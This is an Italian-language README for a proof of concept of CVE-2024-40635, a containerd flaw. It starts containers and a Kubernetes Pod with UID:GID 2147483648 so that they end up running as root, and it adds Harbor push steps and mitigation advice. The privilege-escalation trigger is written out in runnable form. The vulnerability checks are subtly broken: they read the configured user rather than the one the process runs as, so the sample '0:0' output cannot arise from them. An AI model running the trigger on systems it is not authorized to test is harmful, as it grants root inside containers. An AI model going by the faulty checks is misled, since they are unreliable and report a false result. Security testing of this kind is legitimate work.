CVE-2024-40635_POC

Codice Proof of Concept per dimostrare la vulnerabilità CVE-2024-40635 Dati raccolti da: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Importazione della libreria Docker

import docker

Questo importa la libreria Python docker, che consente di interagire con Docker tramite la sua API. Se questa libreria non è installata, puoi aggiungerla eseguendo:

pip install docker

2. Inizializzazione del client Docker

client = docker.from_env()

Qui creiamo un oggetto client Docker usando il metodo docker.from_env(). Questo si connette al demone Docker in esecuzione sulla tua macchina (o su un host remoto, se configurato).

3. Definizione di una funzione per verificare la vulnerabilità

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False

• Scopo: questa funzione verifica se il sistema è vulnerabile ispezionando gli attributi del container creato.

• Passaggi chiave:

  • container.attrs: recupera tutti i metadati relativi al container (configurazione, impostazioni di runtime, ecc.).

  • details['Config']['User']: estrae l'UID:GID (ID utente e gruppo) con cui viene eseguito il container. Questa è la proprietà che stiamo testando.

  • print(f"Container UID:GID = {uid_gid}"): stampa sempre l'UID:GID per visibilità.

  • Verifica della vulnerabilità: se l'UID:GID è "0:0", indica che il container è in esecuzione con privilegi di root e il sistema è vulnerabile.

4. Esecuzione di un container Docker

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)

• client.containers.run: crea e avvia un container Docker.

  • "vulnerable-image": sostituisci con il nome di un'immagine Docker reale adatta al test.

  • user="2147483648:2147483648": qui impostiamo un ID utente e gruppo personalizzato (UID:GID). I valori superano l'intervallo degli interi con segno a 32 bit, che è la condizione che attiva la vulnerabilità.

  • detach=True: garantisce che il container venga eseguito in background, consentendo allo script di proseguire senza attendere il termine dell'esecuzione del container.

5. Gestione degli errori

try:
    ...
except Exception as e:
    print(f"Error: {e}")

Questo blocco try-except assicura che eventuali errori durante la creazione o l'esecuzione del container vengano catturati e stampati, evitando la terminazione improvvisa dello script.

6. Stampa dell'ID del container

print(f"Container {container.id} started.")

Una volta che il container è stato creato e avviato correttamente, viene stampato il suo ID univoco per riferimento. Questo è utile per il debug o per un'ulteriore ispezione del container.

7. Invocazione della verifica della vulnerabilità

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

Questa chiamata invoca la funzione is_system_vulnerable, passando come argomento il container creato.

In base al risultato (True per vulnerabile, False per non vulnerabile), stampa il messaggio corrispondente.

8. Dettagli dell'output

Lo script è progettato per fornire informazioni dettagliate nel suo output, tra cui:

• L'UID:GID assegnato al container.

• Una chiara indicazione se il sistema è vulnerabile o meno.

Esempio guidato:

Immagina che questo script venga eseguito in un ambiente di test e che accada quanto segue:

1. Viene creato un container usando l'immagine vulnerabile e l'utente 2147483648:2147483648.
2. Durante la verifica della vulnerabilità, il sistema interpreta questi ID come 0:0 (root), facendo sì che il container venga eseguito con privilegi di root.
3. Lo script identifica questo comportamento e stampa:

Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

In alternativa, se il sistema gestisce correttamente valori grandi di UID:GID e non li mappa a root, potresti vedere:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

Note per il test:

• Utilizza un ambiente isolato (ad esempio una VM) per evitare di mettere a rischio i sistemi di produzione.
• Sostituisci "vulnerable-image" con un'immagine Docker adatta al tuo scenario di test (ad esempio, un'immagine con dipendenze minime).
• Assicurati che Docker sia installato e accessibile dall'ambiente Python.

Esecuzione all'interno di un ambiente

Eseguire questo proof of concept (PoC) in un ambiente reale come Kubernetes e Harbor per il penetration test richiede una pianificazione attenta per garantire che il test sia controllato, etico e di impatto. Ecco una suddivisione di come condurre il test:

1. Pianificare e preparare Comprendere l'ambito: definisci i confini del tuo test. Assicurati di avere autorizzazioni esplicite per eseguire penetration test nell'ambiente reale.

2. Backup: crea backup dei sistemi e dei container critici nel caso in cui il test ne comprometta la disponibilità o i dati.

3 Ambiente di test: configura un namespace o un cluster separato all'interno di Kubernetes dedicato a questo PoC per evitare di influire sui carichi di lavoro di produzione.

2. Utilizzare Kubernetes per il test Ecco come integrare il PoC in Kubernetes: a. Distribuire la versione vulnerabile

• Distribuisci un container usando la versione vulnerabile di containerd (v1.6.35-gke.0) all'interno del tuo cluster Kubernetes.

• Usa un'immagine Docker (ad esempio "vulnerable-image") con dipendenze minime per mantenere ridotta la superficie di attacco.

Esempio YAML per la distribuzione in Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

Applica il file YAML con:

kubectl apply -f pod.yml

b. Verificare con il PoC

• Esegui lo script Python che hai sviluppato da una macchina che ha accesso al cluster Kubernetes. Ad esempio, puoi modificare lo script per interagire con Kubernetes usando la libreria Python kubernetes.

• Installala con:

pip install kubernetes

Ecco uno snippet aggiornato per integrare Kubernetes:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")

3. Utilizzare Harbor per la gestione delle immagini Poiché Harbor è un registry di container, puoi:

• Caricare l'immagine vulnerabile: assegna un tag e carica la tua immagine vulnerabile su Harbor:

docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest

• Estrarre l'immagine per il test: assicurati che il Pod Kubernetes utilizzi l'immagine da Harbor specificando il percorso completo di Harbor nel campo image del file YAML.

Harbor consente di controllare l'accesso alle immagini, quindi limita l'accesso per garantire che l'immagine vulnerabile venga utilizzata solo nel penetration test.

4. Convalidare e documentare i risultati

• Convalida: dopo aver eseguito il PoC, controlla i log per eventuali indicazioni del verificarsi della vulnerabilità. Ad esempio, conferma se il container (o Pod) è in esecuzione come root.

• Documentazione: registra i tuoi risultati, come ad esempio:

  • L'UID:GID assegnato al container o al Pod.
  • Log o output che indicano se il sistema è vulnerabile.
  • Raccomandazioni per la mitigazione (ad esempio, aggiornare containerd a una versione corretta).

5. Mitigazione Una volta completato il test:

• Applica le patch all'ambiente aggiornando containerd a una versione corretta (1.6.38 o successiva).
• Applica policy di sicurezza (ad esempio usando PodSecurityPolicy o Open Policy Agent) per impedire l'esecuzione di container con configurazioni UID:GID non sicure.

Attenzione

• Esegui i test solo in un ambiente che controlli o per il quale hai esplicita autorizzazione.
• Assicurati che l'immagine vulnerabile non venga distribuita oltre l'ambiente di test.
• Gestisci i risultati sensibili in modo responsabile segnalandoli alla tua organizzazione.